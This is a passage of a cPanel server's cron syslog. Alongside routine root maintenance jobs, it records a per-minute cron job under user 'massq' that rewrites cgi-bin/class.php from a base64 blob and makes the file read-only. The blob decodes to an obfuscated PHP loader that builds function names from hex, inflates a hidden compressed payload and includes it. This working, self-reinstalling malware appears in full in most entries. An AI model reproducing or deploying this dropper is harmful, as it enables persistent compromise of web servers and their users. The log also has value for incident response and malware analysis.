Sep 12 20:30:01 server CROND[4231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:30:01 server CROND[4232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:30:01 server CROND[4234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:30:01 server CROND[4235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:30:01 server CROND[4238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:30:01 server CROND[4237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:30:01 server CROND[4236]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:30:01 server CROND[4233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:31:01 server CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:31:01 server CROND[5071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:31:01 server CROND[5072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:32:01 server CROND[5440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:32:01 server CROND[5442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:32:01 server CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:33:01 server CROND[5815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:33:01 server CROND[5816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:33:01 server CROND[5817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:34:01 server CROND[6202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:34:01 server CROND[6203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:34:01 server CROND[6204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:35:01 server CROND[6679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:35:01 server CROND[6681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:35:01 server CROND[6682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:35:02 server CROND[6686]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 20:35:02 server CROND[6688]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:35:02 server CROND[6690]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:35:02 server CROND[6685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:35:02 server CROND[6689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:35:02 server CROND[6687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:36:01 server CROND[7516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:36:01 server CROND[7515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:36:01 server CROND[7514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:37:01 server CROND[7887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:37:01 server CROND[7888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:37:01 server CROND[7890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:38:01 server CROND[8253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:38:01 server CROND[8254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:38:01 server CROND[8255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:39:01 server CROND[8635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:39:01 server CROND[8636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:39:01 server CROND[8637]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 20:39:01 server CROND[8638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:40:01 server CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:40:01 server CROND[9117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:40:01 server CROND[9118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:40:01 server CROND[9122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:40:01 server CROND[9127]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:40:01 server CROND[9128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:40:01 server CROND[9131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:40:01 server CROND[9132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:41:01 server CROND[9943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 